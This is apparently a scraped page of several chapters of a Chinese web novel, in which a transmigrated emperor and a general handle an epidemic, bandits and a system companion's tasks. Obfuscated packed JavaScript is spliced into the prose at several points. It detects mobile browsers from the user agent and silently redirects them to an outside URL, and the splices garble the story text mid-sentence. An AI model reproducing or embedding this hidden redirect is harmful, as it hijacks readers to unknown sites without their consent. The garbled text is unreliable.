l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149603|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,依然是呓语不断,但已经服了常规的药来压制病痛,娘娘尚好。” “那你便好好照顾她吧,时疫方子确认无误后,即刻分发下去。” 秦笙安排完,挥了挥手让锡太医退下。 他摒退了勤政阁的宫人,一个人靠在龙椅里,心里有些落寞又愤然。 不知道是在气自己还是气锡太医,同样都是感染时疫,锡太医可以陪伴在自己爱人身旁,不怕任何事。 如果这穿书女子正在青州受苦呢,如果已经感染上时疫了呢,如果他踏进青州即刻就与她偶然相遇了呢。 再如果,她真的就是季桐呢…… 秦笙不敢再想下去,又起身翻动桌案上的奏折。 自他回宫,他就优先处理了跟青州有关的事,派了大量官兵对青州得了时疫之人进行隔断,也分发了救济的钱粮下去。 正想着这事,翠兰从殿外进来,“皇上,季嫔娘娘求见。” 秦笙皱眉,太后几乎是已经亮明了身份,此前灯下黑派人下毒,自以为专门捏造了一个掌事太监恨毒了季家指使魏姑姑下毒,就不会查到她头上,这事草草了结后才收敛了没几日,就又与季家旁支勾结。 只是他现在尚未想通,自己是太后唯一的孩子,为何太后会对他动手,与季家姑娘真有所勾结又怎么会不告诉人家皇帝是女郎。 难道说,只是多一条眼线。 “让她进来吧。” 季嫔名叫季如雨,也是季家送来的三个姑娘里地位身份最高贵的,是季家旁支季廷尉的嫡女,所以一进宫就封了嫔位。 季嫔迈着小碎步,提着食盒,轻柔细语道:“皇上处理朝政辛苦了,尝尝臣妾刚做的水晶马蹄羹,滋润清火最好了。” “放这儿吧。” 季嫔捏了捏裙摆,扭怩道:“皇上,您看臣妾这样好看吗?” 秦笙头也没抬继续看折子,点了点头,“嗯。” “皇上,您还没看臣妾呢。”季嫔瘪着嘴。 秦笙终于抬眼。 上下扫视一了一圈,“好看。” “那,臣妾哪里最好看?” “衣服好看。” …… 气氛有那么一瞬间的苦涩。 季嫔捂着脸跑出了勤政殿。 456:【多好一姑娘啊,干嘛气人家?】 秦笙:【我没气她啊,说实话而已,鹅黄色的浮青锦缎裙,搭配翠青色的饰品点缀,审美不错。】 456:【……】 日头渐渐下沉,勤政殿备了些吃食,秦笙吃的不是很心安,吃到一半又叫下人把桌上的东西全都收走。 戌时三刻。 秦笙站在勤政殿的窗前,手中紧握着那份来自青州的八百里加急奏报。 “染疫者逾万,死者日增百余。” 青州感染人数光是报上来的居然就已经到了上万人,他心里五味杂陈。 “皇上,青州刺史又派人送来急报。”王德海轻手轻脚地进来,双手呈上另一份奏折。 秦笙没有回头,只是微微抬起手示意放在桌案上。 “王德海,备马。” 秦笙声音很轻,但吓得王德海跪倒在地,“不可啊皇上,前些日子青州时疫尚未大起,皇上私下赴往青州已经是惊险万分,断断不可再亲赴青州——” “放心,朕会挑一匹千里神骏,不用马车,暗卫也骑马相随,一两日便能回来。” 秦笙打定了主意,“另外,让锡太医明天卯时之前务必试药完毕,不论是否完善,后症如何,都将时疫方子立马派人加急送至青州。” 15. 第十五章 清晨,秋风刮过,天儿是一天比一天凉爽。 季桐在书房练字,在侯府里这些日子没有别的琐事,季海清和季鸿源也都回了自己的府上,豫温侯府格外清静。 原身喜清净,人也不善言辞,独行侠一个,之前如果不是打了胜仗凯旋而归,那些小辈和亲戚也不会在侯府等着开庆功宴。 现下不仅那些亲戚走了,老太太也被季鸿源接走了。 季桐举起刚写好的一副字,左右端详,心说,还行,跟原身差不多。 她一向是要做什么就要做到最好。 “雀明,将这副字收起来。” “是。”雀明小心地收了字。 “今天情侦处的消息到了吗?”季桐双手撑在窗户的木框,望着窗外的花圃。 窗户木框这两个地方有明显的摩擦痕迹,一看原身就很喜欢在窗户边发呆。 “回侯爷,已经到了,奴婢马上去取。” 不多时,雀明拿着一叠信件递了上来。 “还有一事,是关于宫里的。”雀明犹豫了一下。 “你说就是,我就当是听个响。”季桐接过信件,顺着在窗边的檀木椅中坐下,开始慢悠悠地拆信。 “前儿皇上又秘密去了青州一趟,居然一路上只派了数十个暗卫相随,很是荒唐,不知太后是如何安心放人的。”雀明嘀咕着,“听说去了青州把青州转了个遍,表面上是鼓舞民心安抚百姓,实际上倒像是在找什么人一般。” “哦?现在还在青州?”季桐挑眉。 “已经回宫了,因为随皇上去青州的人都是办事得力的,两日便回了。”雀明神情有些讪讪的,“只不过,回来后便病倒了。现在后宫正忙着安排侍疾的事儿呢,应当不是得的时疫。” 季桐没忍住,喉间发出一声轻笑。 随即意识到自己反应不太对,又迅速板了脸。 “知道了。” 季桐拆开信件,第一封说了青州时疫之事已经得到有效控制,宫里也是好转颇多。 第二封信件是林明远的,说是西南匪患猖狂,诡计颇多,他一只腿受了伤还被剥离了队伍,现下还好被一对小夫妻给救了,不然还不知如何呢。 信中说到这对小夫妻饭菜做得赛过神仙饮食,两个人也是郎才女貌。 总之林明远将这对小夫妻夸了又夸,说是回来后定要多给他们些吃住的报酬。 季桐皱眉,林明远受伤是她没想到的,西南匪患说是只有几千人,林明远带着一万铁骑去简直已经是杀鸡用牛刀,怎么还会受伤。 而且,男女主怎么会出现在西南方,不是在绥石的哑泉镇吗。 季桐继续往下看。 “西南匪患情报有误,并非几千人,而是至少两万人,那一个地方全被土匪占山为王了,那里的人都被迫加入了匪兵中,此事我还未上报给皇帝,一切看季大哥怎么处理。” 西南匪患出现的地方是交州,那地方本就在大邑国土边缘,所谓山高皇帝远就是这个道理。 交州刺史说不定都已经被绑起来了。 季桐拿出纸笔,即刻写了回信,让他不必上报了,她会亲自跟皇帝说明此事,顺便告诉了他那对小夫妻用的是假名,实际上小夫妻中的那位男子是之前花银子逃了兵役的那个古重韧,然后让林明远问一下他们为何会到交州。 写完季桐将信递给雀明,“加急送出去。” 望着雀明快步到小跑起来的步伐,季桐踱步思索着,不是,男女主跑西南边去干什么。 原本听说皇帝生病之后她觉得又好笑又好气,打算晚点用了晚膳再进宫去笑话他一下的,反正现在时疫也都控制住了。 现下嘛,只能早点去了,还得跟皇帝说西南匪患的事。 —— “咳咳。”秦笙伏在床栏边,小口小口地喝着太监喂的药。 一旁几个嫔妃急得团团转,皇上无论如何说什么都不让她们喂药。 “你们都下去吧。”秦笙喝完药,自己拿帕子擦了擦嘴角。 “不行啊皇上,太后说了,咱们是轮流侍疾。”季嫔从太监手里接过空药碗,轻轻放在木盘中,示意人端下去,“皇上已经不要臣妾们伺候了,不能把人也赶走啊,太后会怪罪臣妾的。” 秦笙一个眼刀给过去,吓得季嫔哆嗦了一下,然后怯怯地低下头。 “算了,你们站远些。” 秦笙冷冷地说完,躺了回去。 不一会儿,翠兰通报安贵妃来了。 安贵妃迈着大步子,进了殿就直接将所有人阴阳怪气地轰走了,殿里清静了不少。 “皇上,锡太医也来了。”安贵妃朝外面招了招手。 锡太医上前把脉,“皇上放心,确实感染的不是时疫,是另一种秋日伤风之症,传染性较弱,而且皇上龙体并无大碍了,只是咳嗽还需要几日才能好,皇上按时服药便可。” “知道了。”秦笙点头。 “那微臣先告退,贵妃娘娘还有事禀报,微臣便不打扰了。”说完锡太医就不缓不慢地退出了殿门。 “有事?”秦笙犹疑地看向安贵妃。 “有呢。”安贵妃无奈地从身后抽出一大叠奏折,“喏,太后叫臣妾念折子给您听。” “?” 秦笙:【不是,她有病啊???】 456:【Q><Q】 秦笙抚了抚额,心如死灰:“念吧。” “臣,廷尉季如海谨奏:为恭请圣安,仰祈圣体康裕之事。”安贵妃念的抑扬顿挫,“窃闻圣躬偶感风寒,御体违和,臣闻之不胜忧虑惶恐,皇上日理万机,忧劳社稷……” 秦笙抬手。 “等一下,如果下一封还是请安折子的话,你就说——” “说什么?”安贵妃扑闪着两个大眼睛。 “就说,官职,名字,给朕请安了。”秦笙坚定地看着她,“就可以了。” “好哦。” 秦笙揉着太阳穴,怀疑太后是纯粹想折磨他。 说实话,听这玩意儿,他宁愿去求季大将军,让他家所有人都别上请安折子了。 456突然惊叫一声,吓得他手指一颤。 秦笙:【你干什么。】 456:【坏了坏了!我感觉到男女主有危险!怎么会呢,这是本种田文啊,谁有危险他们也不能有啊——】 秦笙:【那能看到是什么危险吗?】 456:【看不到……】 秦笙:【你之前不是能观测到大将军行踪吗?为什么男女主的观测不到?】 456:【我来就是为了宿主能做好跟大将军的任务呀,远程观测大将军消耗的能量特别少,一天看个几分钟都不碍事,但看男女主就超出我的观测范围了,锁定上就得花好大力气,就算能看几秒也是很模糊的。】 456:【唉来了来了!系统任务来了,两个!】 秦笙:【念,先念简单的。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159312|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 现在秦笙一个头两个大,脑子里一个声音,脑子外一个声音。 456:【第一个是跟大将军同床共枕三日,每日超过七小时,奖励积分30分,期限一个月。】 秦笙:【略过,下一个先。】 456:【去西南匪患处拯救男女主!奖励积分1分!但是必须做!不做直接凉凉了!越快越好!】 456突然激动起来,白团子飞的都要变成螺旋桨了。 秦笙:【不是,男女主去西南闹匪患的地方干什么!?】 秦笙很无语,但456也同样不知情,只得发出一个哭哭的表情包表示无辜。 “皇上~”安贵妃合上折子,总算通情达理起来,“皇上是不是不想听念折子?” “不是。你捡重要的说,请安的直接略过吧。”秦笙支了个枕头,靠在上边。 季桐一路赶来,怕打扰到秦笙休息,特意让殿门口的小太监不要通传,看到的便是这副场景。 秦笙一只手臂椅在枕上,身子半坐着,头发披散着,温柔地听着贵妃讲话。 贵妃娘娘背对自己坐得端正,手边小桌上还放着堆成山的奏折。 秦笙偏头看到了刚进殿的季大将军,“季大将军,坐。”之前侍疾的嫔妃正好在床边留下了一张凳子。 安贵妃转身,有些诧异,将手里的折子放在桌上,起身行礼,“季大将军安好。” 季桐表面上淡淡地回应了一下,然后道:“微臣与皇上有要事相谈,请娘娘先下去休息。” 安贵妃好看得不是一星半点,只是一个行礼,季桐差点没绷住表情,长得跟天仙似的。 靠!她要是皇帝,她就高低得给安贵妃封后。 “是。”安贵妃乖觉地退了出去。 季桐原本应该更礼貌,可话都已经说出去了,身份地位也都容许她这样嚣张这么做。 不管是不许太监向皇帝通禀,还是摒退嫔妃,都未经过皇帝的同意,按理说皇帝该生气。 哪怕是个穿越的皇帝,时间久了,也该被宫里的礼仪浸泡出了习惯,应该感到冒犯。 于是季桐眸子微动,去看秦笙的反应。 但秦笙脸上没有一丝不悦,于是季桐心里的那最后一点点不舒服也随之散开了。 “微臣参见皇上。”季桐行了个礼,然后就自顾自地坐下,“皇上好福气,微臣来皇上寝宫的路上见到了不少嫔妃,都是难得的佳人。” 秦笙也没有在意她的行为,只是淡淡摇了摇头。 季桐瞥了一眼桌案,继续道:“只是这佳人再难得,也不该过问朝政之事,不然,群臣必会弹劾贵妃娘娘的父亲,届时皇上手心手背选择艰难。” “季大将军误会了。”秦笙面上有些无奈,“朕说过心有所属,又怎么会耽误这些姑娘,是太后叫她来念奏折的。” 他顿了顿,又道:“倒是季大将军,得闲时记得帮朕说说,叫他们别请安了。” 说着他的目光移向那堆奏折,眼神哀戚,在季桐看来颇有两分姿色。 季桐皮笑肉不笑地应下,“当然。” “不过,前些日子再赴青州怎么皇上不带上微臣?”季桐缓了缓问道。 季大将军体型高大眉目凌厉,即便不着甲胄也气势逼人,刚刚语气又带了几分压迫感,连周遭温度仿佛都凉了几刻。 秦笙不适地调整了一下坐姿,将手臂往回挪了点,避开了对方的眼神,“寻妻心切罢了。” 16. 第十六章 “倒是微臣的不是了,之前劝皇上回去还不如留下与皇上一同解决青州之事。”季桐也没为难他,递了台阶。 “无妨,朕也好端端回来了,只是一点风寒而已。”秦笙摆了摆手,“只是,季大将军进宫可是有要事相报?” 季桐:“回皇上,林将军说,西南匪患此前情报不实,所派兵力不够,林将军还遭了伏击,微臣自请前往交州清剿匪祸。” 其实兵符在手,调遣将士她是可以随意调的,但还是得告诉皇帝一声走个流程。 456突然窜出来:【唉!他要去交州,快跟他说男女主的事!你们最好一起去,反正你要想办法救男女主,他能保护你,还能做任务~】 秦笙心里叹了口长气,无可奈何,“请季大将军稍等两日,朕想同去。” 季桐不买账:“皇帝亲征吗?虽然此法大为鼓舞军心,但外面人多眼杂,太过危险,况且皇上您龙体尚未大好。” “不碍事,咳咳——”秦笙说着说着就没忍住喉头的痒意,“过两天就好了。” 看着他憋着咳嗽脸颊泛红的样子,季桐眼角都带上了笑意。 “不过皇上为什么非要去呢?是有什么任务吗?” 456一听这话立马去殿门处飞来飞去,又在窗户旁仔细检查了一番,最后飞回来:【没人!说吧!】 秦笙这才点了点头:“是有任务,系统告诉我男女主在交州,恐怕有危险,需要保护他们安全。” 季桐:“这个简单,皇上且把男女主的特征和名字告知微臣,此事交给微臣去办就好,微臣定当尽心竭力。” 秦笙:“……” 秦笙:【你也看到了,他不让我去。】 他内心的声音充满了得意,颇有一种“没办法”的味道,急得456拽他袖口。 456:【不行!得去!你每做一次任务我能得好多能量的!错过这次,很难看到这么大方的任务了——去嘛去嘛!求求你了!】 456头上冒出了一个大大的流泪猫猫头。 456:【你们不都通过气了嘛,你就说你要跟他睡几天是做系统任务又能怎么样嘛!】 季桐这下听明白了,看来是在她不在的时候系统又发了任务,不仅要救男女主,还要跟大将军睡觉。 就是不知道这个睡觉,正不正经。 不等秦笙思考完,季桐匆匆说了句:“就不打扰皇上养病了,微臣告退。”随后转身离去。 —— 出征前还有许多准备工作要做。 这次季桐只打算带一万兵马,加上林明远那边的也够用,随行副将也都安排了之前比较清闲的人。 这两天雀明忧心的不得了,心里想着,主子才回京没多长时间就又要出远门,真当主子是不会歇的木头呢,还不如反了的好。 月色渐渐拢住整座豫温侯府,四处石灯都亮了起来,巡逻的家丁们手里也提上了灯笼,照得雀明一边脸颊暖黄暖黄的。 “雀明,雀明。”季桐用折扇敲了敲她的头顶,“想什么呢?情侦处那边说新消息都到了,去取信。” 雀明回神,委屈地摸了摸脑袋,“哦,奴婢这就去。”说完光速行了礼,像是上班摸鱼被抓包一般,两脚“哒哒哒”跑得飞快。 季桐目送她出去,坐下摊开折扇,欣赏了一下手中扇面。 扇面上画着京城郊外的山水,还有一座隐灵寺,天际飘着两只鸿雁,很是有意境,她记得以前秦笙就很喜欢收藏这种古代的扇面画。 这把扇子是官场上那些人送的礼物之一,她本来不想留,但想了想还是收下了。 季桐将扇子合上,收进了锦盒中。 “侯爷,信都在这里了。”雀明将木盘搁在了桌案上。 “青州的消息也到了吗?” “都到了。” “嗯,你把这个锦盒装到随军物资里。”季桐将锦盒递给她。 “是。”雀明一步三回头,“侯爷,这次雀明能跟您同去吗?” “不行。”季桐想也没想。 “哦……”雀明失落之情溢于言表,抱着锦盒难过地出门了。 季桐猜得到,这个雀明既是近卫,又贴身伺候,又在侯府管事了两年多,定是会些功夫。 但这次出去并不是普通打仗,而是清剿匪祸,说不定秦笙要做的任务还跟剧情有关,自然是原身的熟人越少越好。 季桐拆了信。 她先前听闻这个叫“季桐”的表妹在青州养病时就觉得不对劲,于是连夜叫人探查了这个表妹的所有相关事宜。 穿书女也在青州,说不定有关联。 季桐抽出信纸。 “季小姐自一个半月前发了场癔症,头脑便不清楚起来,总是吵着要回家,可婆子们要领她回季家时她又百般不愿。” “季小姐现在不仅喜欢跟院里的婆子们打马吊,还喜欢游泳,前几天更是喜欢上了吃蕈,还非得是交州的蕈,还特意要了两种样子的蕈说要用来入药,虽然婆子们都说这些日子季小姐的身子比以前好多了,但还是托人找了绥石织造局去交州寻蕈。” “这是季小姐要寻的两种蕈。” 第三张信纸便是画的两种蘑菇。 这一看不得了,季桐眨了眨眼,再次仔细确认了一遍,一个是长着一把红伞上面点缀着白颗粒,一个是胖胖的伞杆还特意画了划开的青色。 好嘛,毒蝇伞和见手青。 可以百分百确认了,这个“季桐”表妹就是最后一个穿书者。 接下来季桐拆开了第二封信,是林明远的回复。 “那小娘子说,来交州是为了买些蕈,买不到就只能进深山自己挖了,我还问了她为什么,仿佛是因为绥石织造局上头有人重金求购来着。” 呵。 这下知道为什么男女主要从绥石州跑到交州去了…… 她就说嘛,男女主怎么会莫名其妙改变原书剧情,不好好种田做菜卖脂粉,跑去挖蘑菇去了,感情全是这最后一个穿书者带来的蝴蝶效应。 季桐沉了口气,提笔准备回信给林明远,又突然想到了很有意思的事情。 她手腕支着下巴,嘴角的笑停不下来,某个人不是找未婚妻吗,这不来了。 季桐斟酌用词,写了厚厚的一封信,交给影卫,说一定要亲自送到青州季桐小姐手上。 她要先认识认识这个小姐姐。 不仅要认识,还要很熟。 季桐随后又写信回了林明远,告知她过些日子就会前往交州,叫他不必担心。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169388|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然后早早地躺上了床。 趁着这会儿没电流声,赶紧睡,睡得熟时他们再怎么唠也不关她的事。 —— 等到季桐出京城的时候已经是两天后。 只不过季桐没想到出京城城郊的时候,又有一部人马追了上来,人数还不少。 不过看那旗帜上透着金黄色的龙样暗纹,季桐就知道是秦笙了,这种暗纹是做给将士们看的,平头老百姓们不知道,他们知道。 因为只是匪患,如果明面上亲征未免显得有些小题大作了。 但内部将士都知道的话,想来也都派的是精锐中的精锐。 两支人马汇合,秦笙的马车自然而然被拥簇在队列最严密的部分,季桐骑着马慢悠悠在马车外跟着。 秦笙的声音从马车里传来:“季大将军,进来一下。” 季桐“吁”地一声拉住缰绳,马蹄往后退了一步,随后干净利落地下了马,将缰绳交给了底下的小兵手里。 “怎么了?”季桐钻进马车。 “朕想跟你谈谈。”秦笙语气沉重。 “皇上说就是。”季桐现在除非外人很多也懒得虚与委蛇地说场面话,她在马车右侧的座位上坐好,无意识地摸了摸坐垫。 马车空间很大,足以坐下五六个人,可秦笙从不携带随身伺候的宫人。 “咳,能不能让周围的将士们随行的距离拉开一些。”秦笙一身常服,虽从眼神中看得出人的年岁,但身量轻小,像极了个青涩的温润如玉小公子。 季桐多看了两眼,才掀开车帘,朝外嘱咐了几句。 其实秦笙不说这话,外面的人也不敢仔细多听什么,聪明人是会自己避远些的。 等她放下帘子,秦笙才开口道:“季大将军不问问朕为何要跟来吗?” “不是因为任务吗?皇上病可大好了?” “是,已经大好了,劳烦大将军挂心。”秦笙顿了顿,“只是朕很不理解,太后表面上三推四阻,却似乎很满意朕此次外出。” 季桐知道他想说什么。 太后不希望皇帝出去只是面子功夫而已,病才刚好,当然是不宜外出的,但为了天下社稷,太后也有足够理由支持皇帝亲征。 只是如果太后真的爱自己的孩子,不会如此殷切,怕是有什么别的计划。 “那皇上可得小心了,季家旁支与太后可是关系很好的。”季桐大概明白秦笙的意思,“当然,微臣会尽心竭力保护好皇上的。” 表忠心嘛,谁不会。 “如此,朕就放心了。” 秦笙本意是想试探太后是否与季家本家有牵连,现在看来,没有。 季桐的回答可谓是坦荡无比。 秦笙目光低垂下去,看了看座位底下的456,季桐也顺着他的目光看过去,才发现那团白面团子居然在木板上睡得好香,像只小猫缩在最角落里。 怪不得这么久没听到叽叽喳喳的吵闹声。 系统也需要休息吗?确定不是什么小动物成精被迫打工?季桐看得嘴角弯弯的,努力克制自己想上去rua一把的心情。 秦笙看向她,皱着眉低头理了理自己衣裳下摆,确定没有仪态不端,然后狐疑着赶客道:“大将军先下去吧,朕要休息了。” 17. 第十七章 交州山高水远,行了整整七天七夜才到。 行军速度已经算很快了,这次甚至没有步兵,全都骑了马,但行军是要讲究一个前后队列都跟得上,还要照顾马车的速度,路程中马也是需要休息的。 不像那些八百里加急的探子,传个消息只消一两天,那是再好的马也容易被跑死。 除了探子,还有信鸽,季桐没有想到这个世界的信鸽被培养的这么好,居然真的能精准无误地认得地点,但跟她想象中的不同,不是能认人那么精准,而是侯府底下养的情侦处在各个州都有分部,由情侦处收取信件。 季桐到了交州第一时间就是让厉寡言去取信。 修整兵马之余,季桐将秦笙安置在了交州刺史的府上,本来他现在就手无缚鸡之力,又身份不一般,肯定需要派人严加保护。 交州刺史不在府上,说是出去避难了,听闻上头又派了军队来处理山匪的事,才正在赶回来。 安顿好所有事,季桐才得了闲坐下,厉寡言递上了信件。 “接到骠骑将军了吗?”季桐问。 “接到了。”厉寡言回道:“只是还多了一男一女,现在都已经安排住下了。” “知道了,你下去吧。” 看来是林明远被接到的时候顺手带走了男女主,那不就危险解除愣了嘛,倒是给她省事了。 季桐拆了信。 一封是打探绥石织造局的,果然跟她想的一样,季家小姐在青州大肆采购蘑菇,因为没买到想要的才托府里人问了绥石织造局能不能帮忙,织造局寻了几个会山里采蕈的老师傅去交州,赏金给的不少。 看来男女主是因为认识这几个采蕈的老师傅才想着一起去分一杯羹的。 另一封是打探季家旁支的,也是如她所想,这两家心气高起来了,居然跟太后攀上了关系,只是不知道为什么。 从以前的信息来看,季家所有的势力几乎都是拥簇季大将军的,可以说是非常想让季止邪造反,但季止邪本人没有动过这个念头。 有可能是,他们自己耐不住性子了。 季桐收拾了一下东西,去了西厢房看林明远。 还没踏进屋,就听到林明远嚎了一声,“哎哟喂,季大哥!” 季桐无视了他从床头窗户边伸出来的手,大步走进房间,“你好全了?” “嘿嘿,没呢没呢。” 林明远把整个身子缩回了床上,因为窗户离床还有一点距离,整个行为显得像泥鳅一样滑稽。 季桐笑出声来,“这回只是伤了腿,说不定下次就是缺胳膊断腿了,还敢大意?” “不敢了不敢了!” 林明远丧着个脸道:“季大哥,这哪儿能怪我呀,我这么多年仗也不是白打的,只怪那山匪实在是精明,会骗人!” 季桐:“哦?怎么个骗法?” “抓了老幼妇孺上千号人,打听到消息那我自然要去救她们,可山匪头头好像很会笼络人心,我带着精兵队突袭救人,谁知竟然被人质给反打了出来!”说到激动处林明远愤愤然捶了一下腿,然后把自己疼得“哎哟”叫。 季桐斜了他一眼,无语至极:“行了,好好养伤吧,我去见见古重韧和桂清离。” “唉季大哥你认得他们啊?” “认得,此前退守在铁门关的时候,去他们家吃过一顿便饭。”季桐拍了拍他肩膀,“行了走了。” 男女主的房间被安排在东厢房侧边,季桐准备敲门的时候正听两人还在嬉笑打闹,索性就不去了。 她招来底下的人,吩咐他们等这两个人修养好了给他们包一笔银子,叫他们早些回绥石州,别再呆在交州。 交州现在乱得很,要是男女主再出点什么事可不得了。 脑子里电流声响起。 季桐终于想起来还有秦笙这么个人,该去找他了,不然第二天就得攻山,晚上睡不好可不行。 说什么她也得死皮赖脸睡他屋里。 秦笙住的是后院的主屋,周围安排的都是他自己带出来的精锐在巡逻,季桐走进院子后为首的领队喊了一声“季大将军”,她点头致意,然后推开了房门。 456:【唉唉唉!他来了!】 秦笙:【来了就来了,你吼那么大声干嘛。】 秦笙半躺在床上,这几天舟车劳顿又身体没有好全,格外虚弱,季桐倒了杯热茶递上去。 “不渴。”秦笙淡淡道。 “好吧。”季桐坐在了床沿上,“微臣来是有事求皇上的。” “你说。” “微臣可否与皇上同住?”季桐轻飘飘地问。 456尖叫起来:【答应他!!!送上门的积分!】 秦笙眼看着456激动得棉花团子都快揉成一个皱巴巴钢丝球了,叹了口气没理它,“这刺史府地方不小,季大将军这是?” 季桐起身行了个礼,“皇上恕罪,微臣并非大不敬之人,只需抬一张木板进皇上房间里,微臣睡地上即可。” 秦笙松了口气:“可以,但是为何?” “交州情形太乱,易生刺杀之事,皇上安危是头等要紧的,微臣不敢独自歇下,还请皇上应允。” 秦笙点了点头,“那就辛苦爱卿了。” 456:【哎,我还以为他要试探你是不是女身呢。】 秦笙:【没吃到瓜你很不高兴?】 456:【还好吧QAQ】 季桐如愿在秦笙房间多添了一架床,就放在他床的正对面,离的不远,比他的床也矮上一截,不算冒犯。 夜里他们唠嗑的声音渐渐小了,季桐沉沉地睡了过去。 谁知道半夜迷迷糊糊间感觉有人接近,但又不足以让她生出警惕之心,大梦还在朦胧地接着做着。 456:【你大半夜地把我叫醒干什么?】 秦笙:【你瞧,他根本就不觉得烛火晃眼就能睡着。】 456:【那又怎么了?】 秦笙:【他如果真是当兵的,部队晚上会开着灯睡觉?】 456:【是哦,可是万一他就是单纯地觉得你不想灭灯呢,所以就没提醒,臣子尊重皇帝很自然的啊。】 秦笙:【我未婚妻晚上睡觉也不喜欢熄灯。】 456头顶冒出了一个大大的无语:【又开始幻想时间了是吧!】 秦笙:【我未婚妻还有一个习惯,就是睡觉时很喜欢把手心蜷着,你猜,他会吗?】 456:【那我哪儿知道啊,你掀了被子看看不就知道了。】 秦笙说干就干,他蹑手蹑脚地靠近了矮脚床,轻轻拉开了被子。 季大将军睡得很规整,平躺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170934|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟死人一样,两只手叠放在身上,没有蜷起来。 难道真的只是他臆想过多? 虽然456极力地告诉过他,穿书没有系统是不可能穿错性别的,更有可能的还是青州那个穿书女,但他偏偏就是觉得有哪里不对劲。 他的身子忽然被拽了一下,原本睡得好好的季大将军突然伸出手将他拉到了床板上,磕得他骨头都响了一下,这人居然没有丝毫要醒的意思。 秦笙半个身子挂在矮脚床上,几乎是被半抱在对方的臂膀之中,他挣扎了一下,发现根本挣扎不开。 秦笙:【他有病啊!睡觉还梦游吗?】 456:【嘿嘿别动别动,要不你就顺势滚他床上睡觉吧,睡哪儿不是睡啊。】 秦笙:【任务不做会死吗?!】 秦笙猛地大力地掰开了季大将军的手臂,趁着不注意赶紧一咕噜滚下了矮脚床,跌坐在地上。 看着季大将军睡梦中翻身空搂了几下被子,秦笙没好气地翻了个白眼,揉着自己腿部被磕青的地方,一瘸一拐回了自己床上。 清晨的露珠挂在院子的草木上时,季桐才悠悠转醒,觉得睡得很香。 季桐砸吧着回味了一下梦境,家里的史迪仔宝贝玩偶抱着还是那么舒服。 起身她笑着问了个好:“早上好啊,皇上。” 秦笙的脸色很不好,他坐在床边,有一种淡淡的死感,目光盯得她浑身发麻,也不说话。 她只得悻悻然道:“走了,干活去了哈,皇上要是没睡好再多睡会儿。” 说完她麻溜地跑路。 整理了林明远剩下的部队,加上她自己带来的,整整一万八的骑兵,如果这都处理不了山匪,那大邑的兵简直可以就地埋了。 虽然人数稍微不占优势,但要知道山匪只是山匪,他们没有精良的武器,没有成日不停歇的训练,不一定有组织有纪律,更不是人人都有甲胄护身,就算个别武力高强,也不过是孤将一个。 季桐一声令下,攻上匪山。 自己则骑着马执弯弓而射,一箭一个,活靶子她很有经验。 不提刀是因为上次的大规模战争给她稍微留了一丝阴影,血肉溅射到自己脸上的时候心跳会加快,肾上腺素也会飙升,那种情况太容易冲动了。 不到九个小时,匪山就被攻打了下来。 季桐望着属下往山头上插旗,又吩咐了人将被关的老弱妇孺统统解救出来,如林明远所说,这些人全都被洗脑了,一个劲的喊打喊杀,说官兵都是来破坏她们的家庭的。 但季桐不吃这套,解救的时候就直接是武力解救,绑起来押送。 这土匪头子有点本事。 “禀大将军!土匪头子已经被押往交州衙门!”宋廷尉道。 “剩下活着的全都抓住了吗?”季桐问。 “已经悉数抓获,只是跑了一个那土匪头子的军师。” “随他去,让衙门画像贴告示即可。”季桐拽了拽缰绳,准备回去。 却见夜幕下远处跑来一个骑着马的黑点,速度快的吓人,将近她时马匹直接没有刹住,一个跟头摔在了地上,人仰马翻,尘土飞扬。 是厉寡言,他浑身是伤,嘴角干涸,正努力爬起来。 “寡言?怎么了?” “禀大将军!皇上不见了!” 18. 第十八章 季桐快马加鞭地赶回了交州城里,刺史府一片狼藉,尸首遍地。 怎么会,守着这里的都是精锐中的精锐,虽说人数不多,但这可是刺史府,怎么会如此猖狂。 山匪哪儿有这本事。 此时刺史府里虽然四处杂乱,但人已经整顿完了,只是谁也说不出个所以然来。 这些个人连大气也不敢喘,月光下整个院子更显得寂静。 “你来说。怎么回事?”季桐给了厉寡言一个眼神。 厉寡言虽然浑身是伤,却还是毅然换了马跟着她回来,就是怕情报说不明白。 “回大将军,是皇上带来的那群精锐有问题。” 季桐再次扫了一眼周围。 果真是这样,地上就没有几个像匪徒的,躺着的全是皇宫禁内的白甲精兵。 